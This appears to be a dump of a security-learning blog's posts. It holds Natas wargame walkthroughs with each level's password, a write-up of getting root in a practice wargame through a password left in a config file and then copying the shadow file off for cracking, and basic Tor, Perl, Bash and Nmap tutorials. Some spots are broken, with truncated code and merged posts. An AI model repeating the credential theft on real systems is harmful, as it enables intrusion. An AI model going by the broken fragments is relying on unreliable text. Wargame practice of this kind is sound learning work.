[How-To/Web]<div dir="ltr" style="text-align: left;" trbidi="on">So <a href="" target="_blank">Level 3</a> required a bit more knowledge of web servers and how searches parse them, but we got through it and are now on <a href="" target="_blank">Level 4</a>.<br /><br />When we load up this level, we are welcomed by the following error:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="186" src="" width="640" /></a></div><br />So it can see where we are coming from, and it doesn't like it.<br /><br /><a name='more'></a>There's a "Refresh page" button, lets click that and see what happens.<br /><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="218" src="" width="640" /></a></div><br />So now it sees that we are just refreshing the page. A little knowledge of how messages are sent through HTTP is required here.<br />When an HTTP request is made, there are certain fields that are filled in, and one of them is a "<a href="" target="_blank">referer</a>".<br />Maybe you can catch on where I'm going from here. What we need to do is hijack the request and change the referrer to be what it says it should be.<br /><br />How are we going to do this? Well, I'm using Chrome, and there's this nice little tool called "Referer Control" which can be found <a href="" target="_blank">here</a>. Go ahead and install it (and if you're not, use Chrome already!) and I'll tell you how to configure it to help us out.<br /><br />Loading up this app brings us to the main screen of the configuration:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="500" src="" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"></div><br />For our setup, we are going to use the top section, where we can enter a website under "site filter".<br />If we use the "default referrer for all other sites" it will change it for every single HTTP request we make.<br /><br />Enter "<a href=""></a>" for the site, and select the "Custom" setting for the "referrer setting".<br />From there, enter "<a href=""></a>" for the referrer site as seen below:<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="84" src="" width="640" /></a></div><br /><br />The red X on the left is the delete button (not an error), so don't click on that unless you want to remove this specific site referral.<br /><br />Once this is done, go back to <a href="" target="_blank">Level 4</a>, and you should see this (you might have to refresh the Referrer Control Settings):<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="187" src="" width="640" /></a></div><br />There we have it, natas5:V0p12qz30HEUU22dz7CZGHiFk3VdPA9Z.<br /><br />On to <a href="" target="_blank">Level 5</a>!</div><div class="blogger-post-footer">hackavision.com</div><img src="" height="1" width="1" alt=""/>Unknownnoreply@blogger.com32 Wargame "Natas" Level 3 [How-To/Web]<div dir="ltr" style="text-align: left;" trbidi="on">After breaking <a href="" target="_blank">Level 2</a> with some knowledge of how web servers hold their data, we move on to <a href="" target="_blank">Level 3</a> which presents us with the same page as level 2:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="" /></a></div><br /><a name='more'></a>Doing the same thing as the other levels, we view the source and see this:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="104" src="" width="640" /></a></div><br />Not even Google will find it? What does that mean?<br />Well, if you didn't already know, there are files on web servers called "robots.txt" which tell searches such as Google where <i>not</i> to store information about. Google has one that we can view <a href="" target="_blank">here</a>. It's pretty much a directory listing of certain stuff that the website wants to keep a "secret" from searches.<br /><br />After knowing this, lets see if this website has a robots file by going to the URL/robots.txt<br /><blockquote class="tr_bq"><pre style="white-space: pre-wrap; word-wrap: break-word;">User-agent: *<br />Disallow: /s3cr3t/</pre></blockquote> So we can now see the website wants to disallow the parsing of the /s3cr3t/ folder... so lets just go straight <i>TO</i> that folder.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="197" src="" width="400" /></a></div>Bam, users.txt again. Opening it up we can see:<br /><br /><blockquote class="tr_bq">natas4:8ywPLDUB2yY2ujFnwGUdWWp8MT4yZrqz</blockquote>Which authenticate us to <a href="" target="_blank">Level 4</a>.</div><div class="blogger-post-footer">hackavision.com</div><img src="" height="1" width="1" alt=""/>Unknownnoreply@blogger.com44 Wargame "Natas" Level 2 [How-To/Web]<div dir="ltr" style="text-align: left;" trbidi="on">So <a href="" target="_blank">Level 1</a> wasn't that bad, either. Let's start <a href="" target="_blank">Level 2</a> with the credentials that we found in the previous level.<br /><br />When we load up level 2, we are presented with this:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="90" src="" width="400" /></a></div><br />Kind of ironic since there's text, right?<br /><br /><a name='more'></a>Let's once again take a look at the source (this is becoming a thing!):<br /><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="104" src="" width="640" /></a></div><br />Hmm, just the normal text... and wait, an image? The <img src...> code is HTML for embedding a picture into a webpage. It's located at files/pixel.png, so we know it's on whatever server is running this webpage.<br /><br />Let's try to navigate to it!<br /><br />Well, if you opened it like I did, it's just a white page. That makes sense since it's just one pixel. But we know it <i>exists</i> on the server, and there has to be a folder called <i>files.</i> Lets see if we can get to that folder...<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="255" src="" width="400" /></a></div><br />That's something we like to see, a directory listing! We can also see there's another file called "users.txt" in there!<br />Opening <i>users.txt</i> gives us:<br /><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="122" src="" width="320" /></a></div>Yay, a password for natas3!<br />We enter the natas3:<span style="white-space: pre-wrap;">lOHYKVT34rB4agsz1yPJ2QvENy7YnxUb on the <a href="" target="_blank">next level</a> and continue on...</span></div><div class="blogger-post-footer">hackavision.com</div><img src="" height="1" width="1" alt=""/>Unknownnoreply@blogger.com35 Wargame "Natas" Level 1 [How-To/Web]<div dir="ltr" style="text-align: left;" trbidi="on"><a href="" target="_blank">Level 0</a> was quite easy, for obvious reasons, so lets see if <a href="" target="_blank">level 1</a> can be any harder.<br /><br />For this one, right clicking has been blocked, so we can't break it like we did with level 0... or can we?<br /><br /><a name='more'></a>Again, I use Google Chrome, and in Chrome, you can save the source code to your drive!<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="" width="210" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div>If you open this up in a browser, it will still block right clicking, so lets open with our trusty friend Notepad++ (or you can <i>cat</i> it on a Linux system; I'm on Windows 7 right now).<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="126" src="" width="400" /></a></div><br />Bam, we have the password for natas2: "aRJMGKT6H7AOfGwllwocI2QwVyvo7dcl".<br /><br />Just as easy, but required a tiny bit of thinking on how to get the code. Lets move on to <a href="" target="_blank">Level 2</a>.<br /><br />Here's a little extension if you care to know why this is bad, or why programming <i>like</i> this is bad.<br />This is known as client-side security and is <i>really bad</i>. Anything that is client side is controlled by the client and thus the hacker.<br />We can do things like save the page, change the code, and run it again, or change it directly in the browser by simply "inspecting" the code like Chrome allows... and that's not even an addon!<br /><br /><span style="font-family: Courier New, Courier, monospace;">Keep hackin'.</span></div><div class="blogger-post-footer">hackavision.com</div><img src="" height="1" width="1" alt=""/>Unknownnoreply@blogger.com43 Wargame "Natas" Level 0 [How-To/Web]<div dir="ltr" style="text-align: left;" trbidi="on"><a href="" target="_blank">OverTheWire</a> has released a new WarGame called "Natas" which focuses on web security, so I thought I'd try my hand at it and give some walkthroughs/how-tos as I beat each level. I'm still a newbie at websec, so deal with me!<br /><br />Going to the front page of <a href="" target="_blank">Natas</a>, it gives us the creds to get into level 0, so we need to find level 1's creds somehow.<br /><br /><a name='more'></a>We go to <a href="" target="_blank">Natas Level 0</a> and enter the creds given to us, "natas0:natas0" which presents us with this page:<br /><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="148" src="" width="640" /></a></div><div><br /></div><div>I use Google Chrome as a browser, which can view the source of a webpage directly. To do this, right click and select "view page source":</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div>This gives us the source code, which breaks the first level:</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="128" src="" width="640" /></a></div><div><br /></div><div>We can see that the password is "9hSaVoey44Puz0fbWlHtZh5jTooLVplC", and we know the username for the next level is natas1, so we can continue to <a href="" target="_blank">Natas Level 1</a>, congrats!</div></div><div class="blogger-post-footer">hackavision.com</div><img src="" height="1" width="1" alt=""/>Unknownnoreply@blogger.com46 subreddit and open wargame competitions; how I gained root to OHP #1<div dir="ltr" style="text-align: left;" trbidi="on">Recently I have been active on a subreddit called <a href="" target="_blank">/r/HowToHack</a> which consists of users posting different levels of hacking challenges for newbies and higher level skilled hackers to try their hand at. There is an IRC channel on the sidebar that I suggest going to, as it's fun an informational to be on.<br /><div><br /></div><div>The following write up can be found on the subreddit, as I originally posted it there when I won the OHP #1 wargame by gaining root access first.</div><div><a name='more'></a></div><div><div><b>How I gained root access:</b></div><div><b><br /></b></div><div>When I posted I had root access in the IRC, I got called out on bullshit, but luckily for me <a href="" target="_blank">I'm not a liar</a>.</div><div>I was asked "which exploit did you run", and the answer might be shocking, but I did not run any exploit... and it was actually quite simple.</div><div><br /></div><div>After reviewing the objective, it mentioned httpd, sshd, kernel, and cacti. I actually didn't know what cacti was until this, but a quick Google made it very apparent.</div><div><br /></div><div>First I ran nmap to check out which services were running, which returned:</div><div><br /></div><div style="text-align: left;"><div style="text-align: left;"><span style="font-family: 'Courier New', Courier, monospace;">Not shown: 1670 closed ports</span></div><span style="font-family: 'Courier New', Courier, monospace;"></span><br /><div style="text-align: left;"><span style="font-family: 'Courier New', Courier, monospace;">PORT STATE SERVICE</span></div><span style="font-family: 'Courier New', Courier, monospace;"></span><span style="font-family: 'Courier New', Courier, monospace;"></span><div style="text-align: left;"><span style="font-family: 'Courier New', Courier, monospace;">22/tcp open ssh</span></div><span style="font-family: 'Courier New', Courier, monospace;"></span><span style="font-family: 'Courier New', Courier, monospace;"><div style="text-align: left;">25/tcp open smtp</div></span><span style="font-family: 'Courier New', Courier, monospace;"><div style="text-align: left;">80/tcp open http</div></span><span style="font-family: 'Courier New', Courier, monospace;"><div style="text-align: left;">111/tcp open rpcbind</div></span><span style="font-family: 'Courier New', Courier, monospace;"><div style="text-align: left;">199/tcp open smux</div></span><span style="font-family: 'Courier New', Courier, monospace;"><div style="text-align: left;">443/tcp open https</div></span><span style="font-family: 'Courier New', Courier, monospace;"><div style="text-align: left;">587/tcp open submission</div></span><span style="font-family: 'Courier New', Courier, monospace;"><div style="text-align: left;">631/tcp open ipp</div></span><span style="font-family: 'Courier New', Courier, monospace;"><div style="text-align: left;">914/tcp open unknown</div></span><span style="font-family: 'Courier New', Courier, monospace;"><div style="text-align: left;">3306/tcp open mysql</div></span></div><div><span style="font-family: Courier New, Courier, monospace;"><br /></span></div><div>I derped around with the ESMTP which quickly got boring, so I decided to try my hand at the sshd config but to no avail. The config files were readable, but didn't show me anything of use from my perspective, and were not writable by openhacker thus leaving me to find a different way.</div><div>I then went onto the webserver. A quick curl of localhost gives a funny quip by the server owner:</div><div><br /></div><div><span style="font-family: Courier New, Courier, monospace;">I came, I saw, I conquered.. my own server :)</span></div><div><span style="font-family: Courier New, Courier, monospace;"><p></span></div><div><span style="font-family: Courier New, Courier, monospace;">Now go away please :)</span></div><div><span style="font-family: Courier New, Courier, monospace;"><p></span></div><div><br /></div><div>Ha, hilarious. Anyway, I knew there had to be config files and I wanted to find them! So off I went. I ended up finding httpd configuration files, which didn't give me anything useful, but then I moved onto cacti...</div><div>I ended up in the /var/www/html/cacti folder, and ran an ls -al to see if any of these php scripts were runnable by me. They weren't. So what did I do? Started to cat them and view them. None of them gave me much of anything but a little insight into how cacti managed their sql and authentication. After rummaging through a few more files, I finally found a reference to other files, which prompted me to go into /var/www/html/cacti/include and start cating files there.</div><div>First I ran an ls -al and was giddy; multiple global configuration files! auth.php? Looks cool, but nothing... global.php? Let's cat that and see...</div><div><br /></div><div><span style="font-family: Courier New, Courier, monospace;">/* Default database settings*/< = "cactiuser";</span></div><div><span style="font-family: Courier New, Courier, monospace;">$$$database_ssl = false;</span></div><div><br /></div><div><i>Ouch</i>, default creds to cacti in a fully readable file... but it's not root. They wouldn't leave root in a config file, right?</div><div><br /></div><div><span style="font-family: Courier New, Courier, monospace;">$ more config.php</span></div><div><span style="font-family: Courier New, Courier, monospace;">/* make sure these values refect your actual database/host/user/password */< = "root";</span></div><div><span style="font-family: Courier New, Courier, monospace;">$$$database_ssl = false;</span></div><div><br /></div><div><i>Ouch.</i></div><div><br /></div><div><span style="font-family: Courier New, Courier, monospace;">[openhacker@server1 include]$ su root</span></div><div><span style="font-family: Courier New, Courier, monospace;">Password:</span></div><div><span style="font-family: Courier New, Courier, monospace;">[root@server1 include]#</span></div><div><span style="font-family: Courier New, Courier, monospace;">[root@server1 include]# whoami</span></div><div><span style="font-family: Courier New, Courier, monospace;">root</span></div><div><span style="font-family: Courier New, Courier, monospace;">[root@server1 include]# id</span></div><div><span style="font-family: Courier New, Courier, monospace;">uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)</span></div><div><br /></div><div><i>Ouch ouch ouch.</i></div><div><br /></div><div>So then I SCP'd the shadow and passwd file to my home computer for some john the cracker action for the rest of the passwords. Not like I really need them, right? I'll update this if I remember anything else (I'm currently at work so things may have slipped my mind or whatever) or when John is done cracking the shadow file.</div></div></div><div class="blogger-post-footer">hackavision.com</div><img src="" height="1" width="1" alt=""/>Unknownnoreply@blogger.com18 browsing with Tor [Windows/Linux/Firefox/Chrome]<div dir="ltr" style="text-align: left;" trbidi="on">Anonymity online is one of the most important rights users have today and is a right we are slowly losing due to bills and laws being passed in governments worldwide, especially in the United States.<br /><br />Bills like SOPA/PIPA/ACTA and other unconstitutional and unlawful proposals are everywhere and the Internet is standing up against them, with massive sites like Wikipedia and Reddit blacking out their services to bring awareness.<br /><br /><br /><a name='more'></a><br />If these are passed, everyday Internet interaction would change forever. For those who have visited China or know of the "Great Firewall" are appalled that any government would want to do this to their citizens and freedom, but alas, governments always want more power and money, and this is the way to it.<br /><br />Well, enough of the political preaching, lets get into how to by-pass these "Great Firewalls" and other proxy settings to have anonymity on the Internet! Just a note though, it is impossible in this day and age to achieve perfect anonymity. At least one node, person, or organization other than yourself knows who you are and what you view. <b>Using the methods here to conduct illegal activities will not make you safe, you WILL GET CAUGHT eventually</b>, especially if you do it often enough. I'm writing this how-to and informational piece for those constricted by governments or any other blocking method that removes the freedom to the Internet, so again... do not conduct illegal activities without accepting the consequences (which <i>will </i>come).<br /><br />The biggest proxy service used in today's age is TOR, or The Onion Router. TOR was created to provide anonymity online for anyone. Their main page is located at: <a href=""></a> where you can read up more on them, but I'll be telling you how to install TOR for your needs on Windows and Linux computers.<br /><br /><span style="font-size: x-large;"><u>Installing TOR on Windows (XP-Vista-7)</u></span><br /><br />Now, installing Tor is quite easy. First, go to <a href="" target="_blank">this website</a> and click the "Download" large orange button. It's 20.4mbs, so it should only take a few seconds to download. After it's done, run the .exe by double clicking it or single clicking it in the download bar if you're using Chrome.;">Click the orange "Download" button and run the .exe</td></tr></tbody></table>After running the executable, an extraction location will appear. Whatever the default is should be fine. <b>Remember this location.</b> Mine was my downloads folder (where I originally downloaded it to). Just click "Extract" and let it do its work, this should take a minute or so.<br /><br />When its done extracting, move to that directory and in there should be a folder called "Tor Browser" with everything in it. Yeah, that was easy, right? You can move this folder to where ever you want to "install" Tor to, but it's about 84mb so in this day and age anywhere is really fine. Let's explore what goodies are in the folder now!<br /><br />In the "app" folder are all the .dll files necessary for Tor to run.<br />In the "data" folder are most of the configuration files.<br />In the "docs" folder are read-mes and open-source licenses.<br />In the "FirefoxPortable" folder is the portable version of Firefox that Vidalia (a vidalia is a type of onion, by the way) uses.<br />Finally there's the .exe "Start Tor Browser," go ahead and double click that and let Tor load up its GUI (graphical;">Vidalia</td></tr></tbody></table>This is Tor's GUI called Vidalia. When you loaded it up, there should have been a bar where the "connected to the tor network" is with information about it connecting and authenticating. Also, when you load up Vidalia, it automatically opens the portable Firefox up already connected. Let's test this out and review it.<br /><br />If you take a look at the Firefox homepage, it's the check website to see if you're using Tor (how useful!).<br />Mine looks like this:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="105" src="" width="400" /></a></div><br />As you can see, it tells me my IP address... but wait... that's not my REAL IP address! It's a proxied IP address to somewhere in the world! If you want to check it against yours, open a command prompt (Start menu -> run -> "cmd" then type "ipconfig /all" and look for your "IPv4 Address"<br /><b>Note: </b>if you're behind a router, this will be a private address (192.168.x.x). We'll talk about private addressing in another post soon. If you want an alternative to see your real IP address, open up a new browser with Tor not enabled and go to <a href="" target="_blank">whatismyip.com</a> and it will tell you your REAL</a></td></tr><tr><td class="tr-caption" style="text-align: center;">Too lazy to open Photoshop to blur!</td></tr></tbody></table>As you can see, the last two octets (an octet is 8 bits, I will make a post about subnetting and binary later for you guys!) are different than the last two in my Tor IP address.<br /><br />Going back to the main menu for Vidalia. The "stop tor" button is quite obvious in what it does (it stops tor!), so I cannot really expound upon that any further.<br />There are a few cool things here if you want to explore them. For instance, the "view the network" button gives you an amazing look at the connections going on in the Tor network including their IP addresses, their bandwidth, time up, and other interesting facts. It gives points on the map of where they are located and you can zoom in on them.<br /><br />The "setup relaying" button is used if you wish to become a forwarding node for the Tor network. If you live in a country outside the United States, I highly suggest looking into your local and federal laws to see if you will receive any problems, and if possible, become a node. Here's the main link to get you started: <a href="" target="_blank">Relay Configuration</a>.<br /><br />The "use a new identity" button refreshes who you are connecting to and updates your IP address. Useful if you want to update your "location" every little while to retain more anonymity.<br /><br />The bandwidth graph shows your input/output on the Tor network and is useful to see which nodes have faster connections and the sort.<br /><br />The message log is not very useful to the average user, but may come in handy if you need to use it.<br /><br />The settings are used if you wish to start Vidalia and the Tor service on start (it's off by default), or update your relaying status, but the settings can all stay default for the average user.<br /><br />The exit button closes your Tor connection and the Firefox window associated with it, so don't close the Firefox or Vidalia unless you want to close the other one as well.<br /><br />Well, this was a quick write-up for now, I'm going to add in the Linux section as soon as I get dual-booting working on my Dell XPS 15 (there's a large issue with the BIOS and dual-installing, but I should have it fixed soon) and I'll add in the details to how an Onion network runs and other cool things.</div><div class="blogger-post-footer">hackavision.com</div><img src="" height="1" width="1" alt=""/>Unknownnoreply@blogger.com19 in Perl! [Linux/Windows]<div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on">So currently at school I'm taking a Scripting in Perl class, and I'm in absolute LOVE with this language. It's easy to understand, has very good English-like syntax, simple array and hash usage, built in BASH support (for all you Linux freaks!), easy GUI creation, and so many other things that we haven't even gotten into.<br />I'll be posting examples based upon things in my lab and lecture, including full programs, certain syntax, and other cool things. My teacher is very good and explains many things, so you have him at your disposal (meaning, ask me a question I don't know and I'll ask him, learn it, then explain it back to you!).<br /><br />Lets get started with basic syntax then get into all the fun stuff.<br /><br /><a name='more'></a>Lets go over variables really quick. First of all, variables are declared or initialized with the "$" character. In C++ or Java we say "<i>int variable = 0</i>" or the such, but in Perl it's unique.<br />In Perl, we initialize numeric variables with the command:<br /><i>my $variable = 0;</i><br />which would mean we create the variable "variable" and set it equal to zero. To just declare it it's as simple as just saying "<i>my $variable</i>"<br /><br />Now you might be confused with the "my" command. This deals with the SCOPE of the variable. Many of you probably know what "scope" means, but if you don't, here's a quick definition.<br />The "scope" of a variable can be thought of as the lifetime of that variable, or where it can be referenced in your code. If you declare a variable in one block of code (say, a for loop), but try to change it outside of it, Perl won't allow it since it can't "see" the variable because it's "dead" or out of our scope!<br />I'm sure you'll all understand the "my" command soon enough, it's pretty simple and doesn't require much thought; just make sure you use it when declaring and initializing variables for the first time.<br /><br />Now, remember how I said we initialize "numeric variables" with the above command? Well, you might be surprised to hear that numeric variables and strings are created the same way!<br />Here's how we create a simple string:<br /><i>my $<div class="smallfont" style="margin-bottom: 2px;"><b>Open for answer!</b>: = 'Close'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.</a><br />I got a new laptop with an i7 quad core, 4gigs of ram, and a 1gb video card, and am currently attempting to install Backtrack 5 R1 (the newest version of BT, definitely check it out!) on my new laptop and I will be dual-booting Windows 7 with BT5R1, so the content should increase.<br /><br />I'm not holding a job while in school, so if my studies aren't too bad the first quarter (which they aren't looking to be), I'll definitely be blogging away with new and cool stuff that I've taught my self and learned in class and our local security club, SCARPA.<br /><br />I'll leave you with one final picture and I hope to help everyone learn more network and computer security in the coming months!<br /><br /><span id="goog_531529730"></span>="300" src="" width="400" /></a></span></td></tr><tr><td class="tr-caption" style="text-align: center;"><a href="">YAY!</a></td></tr></tbody></table><span id="goog_531529731"></span></div><div class="blogger-post-footer">hackavision.com</div><img src="" height="1" width="1" alt=""/>Unknownnoreply@blogger.com24 scripting in Linux: an introduction [Linux]<div dir="ltr" style="text-align: left;" trbidi="on">I've already used a bit of <a href="">BASH scripting</a> in my Wifi sniffing tutorial, but the importance of scripting in BASH and other languages such as Perl, Ruby, and Python is so great I need to write separate posts for them all.<br />Bash stands for "Bourne-Again Shell" (you will see "sh" stands for "shell" in many places). Named aptly for being the successor of the Bourne Shell, it came into use in 1989 and has since been a main scripting language for Linux and has many different options such as piping (seen before on my blog), variables and control structures (like all good languages), file reading, and the Unix "wildcard" usage by the asterisk (*) key.<br /><br />Enough about stuff I'm sure you guys don't care about, lets jump right in!<br /><a name='more'></a>First, I'll start off with some basic BASH variables and interesting things you should know before attempting to write your own program, then I'll go over basic programming syntax in a BASH environment and show some examples.<br /><br />In Unix as well as MSDOS and Windows, there are variables (I'm sure we all know what variables are) called "environment" variables, and they deal with certain processes running and affect those processes in many ways. Here's a short list of important ones:<br /><br /><b>PATH</b> - lists directories the shell searches, for the commands the user may type without having to provide the full path.<br /><b>HOME</b> - indicates where the user's "home" directory is located in the file hierarchy.<br /><b>USER</b> - indicates the current user. Try running the command "echo $USER" and viewing the output; it should be your login.<br /><b>TERM</b> - specifies the type of terminal being used by the user.<br /><b>PS1</b> - specifies how the prompt is displayed in the shell or terminal while the system waits for a command. Mine on Backtrack5 is ">" but for some it is "$" this can be changed to be anything (for instance, your current directory for easy knowledge).<br /><b>PS2</b> - specifies how the prompt is displayed in the shell or terminal while the system waits for more input; it is like the PS1, but instead of when there is no command running, this is for when a command or process is waiting for more input.<br /><b>MAIL</b> - used to indicate where a user's mail is to be found.<br /><b>TEMP</b> - location where processes can store temporary files while running a script or process.<br />More will be added, but this is a good list of some important ones you can use for now. Try Googling with the Google search above if you want to find out more about environment variables in Linux/Unix.<br /><br />Now before starting your scripting career in BASH, there are some important things you need to remember. The first is that one should ALWAYS ALWAYS ALWAYS start their script file with <b>#!/bin/bash </b>(which you will hear programmers refer to as "hash bang").<br />This tells the Unix environment what type of shell you're using (bash in this case), and the location of the shell.<br />Have this set as your first line and keep a couple blank lines in between this and the actual code so you realize where this is. It should ALWAYS be first. I think you get the importance of this.<br />For future note when I write my Perl tutorial, the first line in a Perl (.pl) script must be "#!/usr/bin/perl"<br /><br />When you make your script file, whether it be through Nano or another text editor such as Vi/Vim, I like to have the format in the format: "filename.sh" where the ".sh" tells us it's a shell script file. You can name it mostly anything, but it's quite a bit easier keeping it ".sh" so later if you're using the ls command or whatnot, you can search for all your shell scripts!<br /><br />After we've created the file and added in the #!/bin/bash line, we need to make this executable by the system. To do this, we type the command "chmod +x filename.sh"<br />What this does is adds to the file the access of executable (the plus sign adds, and the x stands for executable). After we've done this, we can run the file by typing a few different commands.<br />You can either type "./filename.sh" or "sh filename.sh" or "bash filename.sh" to run it. The first requires you to be in the same directory, however.<br />Other options you can add are "r" and and "w" which stands for read and write respectively. You can add and remove these privileges by typing +rwx or -rwx depending on which you want. You can also use numbers to differentiate what privleges you want.<br />Instead of my reiterating this topic, <a href="">here's an excellent and short website that explains it</a>.<br /><br /><div style="text-align: center;"><b><u><span class="Apple-style-span" style="font-size: large;">If->Then conditional statements:</span></u></b></div><b><u><br /></u></b><br />I'm sure most of you have programmed before, whether it be in C++, Java, or some other language and are somewhat aware of how to use if then statements, but for those who aren't, I'll explain what they are quickly and for everyone the syntax (which means formation) of them in BASH.<br /><br />If then statements are pretty easy to understand since they're named aptly for their use. They are used as a conditional statement (meaning, it tests a condition) and depending on the return (whether or not it is true or false) it executes (or runs) a certain line or lines of code that you choose.<br /><br />The syntax of if then statements in BASH is as follows:<br /><i><br /></i><br /><i>if [condition]; then</i><br /><i> expression if true</i><br /> <i>else</i><br /><i> expression otherwise if false</i><br /><i>fi # ends if statement</i><br /><i><br /></i><br />The ending "fi" is necessary for BASH to tell the computer where your if statement starts and ends. "fi" is of course "if" backwards.<br />You can have an if then statement with only one set of expressions (it doesn't require an "else" part), or as many "elses" as you want, but you HAVE TO end with the "fi" line.<br />Depending on how many elses you wish you add, there are many other ways to do this in an easier fashion that I will cover later, as well.<br /><div style="text-align: center;"><span class="Apple-style-span" style="font-size: large; font-weight: bold; text-decoration: underline;">For Loops:</span></div><div style="text-align: left;"><br /></div><div style="text-align: left;">Now again, if you've had any experience with programming, for loops shouldn't be anything new to you; however, for loops in BASH have a little different of a syntax. This time, I'm going to go over the syntax of a for loop in BASH, then explain the uses for our new readers and how these are one of the most important aspects of programming.</div>In BASH, there are a few ways to do for loops, which is interesting because in most programming languages there's one basic syntax. Here are a few ways to do them.<br /><br />My favorite way to do for loops is this:<br /><br /><i>for var in {1..10}</i><br /><i>do</i><br /><i> echo "the variable var is $var"</i><br /><i>done # closes for loop</i><br /><i><br /></i><br />If you're used to Java or C++ or another high level programming language and their for loops, you can use this syntax:<br /><br /><i>for (( i=0; i<10; i++ )) # note that spaces are a MUST (BASH is weird like this)</i><br /><i>do</i><br /><i> echo "increment variable i is $i"</i><br /><i>done # closes for loop</i><br /><i><br /></i><br />You can add a "break" command inside the loop, which I would recommend throwing into an "if then" statement for error or input checking.<br />As well as the break command, you can have a "continue" command which automatically skips to the next iteration; meaning if i is equal to 5, but whatever you want has already been completed, you can have an if statement check your needs then simply add the "continue" statement and it will go to the 6th iteration.<br />This gets into bigger and better scripts in BASH and can be used quite effectively depending on your scripting needs.<br /><div style="text-align: center;"><span class="Apple-style-span" style="font-size: large;"><b><u>While Do Loops and Do Until Loops:</u></b></span></div><div style="text-align: center;"><b><u><br /></u></b></div><div style="text-align: left;">Another basic and important programming syntax to understand is Do->While loops, which can be either do while or do until. I'll explain both and their uses.<br /><br />The basic while loop syntax is as follows:<br /><br /><i>while [ expression ]; do</i><br /><i><< Block >></i><br /><i>done</i><br /><br />Note that the squared parenthesis must <i></i>have spaces between the tested expression or it won't compile and run.<br /><br />A do until loop does the block statement UNTIL the expression evaluates to true, which is the opposite of the while do loop.<br />Here is an example:<br /><br /><i>until [ expression ]; do</i><br /><i><< Block >></i><br /><i>done</i><br /><i><br /></i><br /.</div></div><div class="blogger-post-footer">hackavision.com</div><img src="" height="1" width="1" alt=""/>Unknownnoreply@blogger.com20 and using Nmap [Linux/Windows]<div dir="ltr" style="text-align: left;" trbidi="on">I.<br /><div>I've also updated a few of my posts including my <a href="">wifi sniffing</a> and <a href="">securing your home network</a> posts, so check those out!</div><div><br /></div><div>Today's post is about one of the most important netsec tools you will have in your arsenal. This program is called Nmap and is a free, open-source network auditing and security tool that we will use quite often while looking for vulnerabilities on networks.</div><div><br /></div><div>I will be explaining how to install and do some basic usage on Linux AND Windows (yay Windows!). I will be using my Backtrack 5 for Linux and Windows XP and hopefully get a Vista/Win7 part up as well.<br /><a name='more'></a><b><u><span class="Apple-style-span" style="font-size: x-large;"><br />Installing Nmap on Linux:</span></u></b></div><div><b><u><span class="Apple-style-span" style="font-size: x-large;"><br /></span></u></b></div><div><div style="text-align: left;"><span class="Apple-style-span">If you're using Backtrack 5, it should be automatically installed and updated, but if for some reason it's not you can follow this walk-through for non-BT users.</span></div><span class="Apple-style-span"><br />Installing it with the terminal or command prompt is as easy as running one command: "sudo apt-get install nmap" and remember, the "sudo" super user do command is only necessary if you're not the root or a super user already.<br /><br />If this doesn't work for you for some reason, you can do the following (exactly like how we've installing SSLStrip and Ettercap)...</span><span class="Apple-style-span"><br /></span><br /><ol style="text-align: left;"><li><span class="Apple-style-span">Download <a href="">this file</a> to your Linux desktop or home.</span></li><li><span class="Apple-style-span">Navigate to that location in your terminal using the "cd" command.</span></li><li><span class="Apple-style-span">Issue the command "tar xvf [file name]" where the file name in this case is "nmap-5.51.tar.bz2"</span></li><li><span class="Apple-style-span">Then type the command "cd </span><span class="Apple-style-span">nmap-5.51"</span></li><li><span class="Apple-style-span">Next, type "./configure"</span></li><li><span class="Apple-style-span">Then "make"</span></li><li><span class="Apple-style-span">Then finally "make install"</span></li><ol style="text-align: left;"><li><span class="Apple-style-span">If this command doesn't work, make sure you're the super user (you can type su [username] to do this or type "sudo" before the command).</span><span class="Apple-style-span"> </span><span class="Apple-style-span"> </span> <span class="Apple-style-span"><br 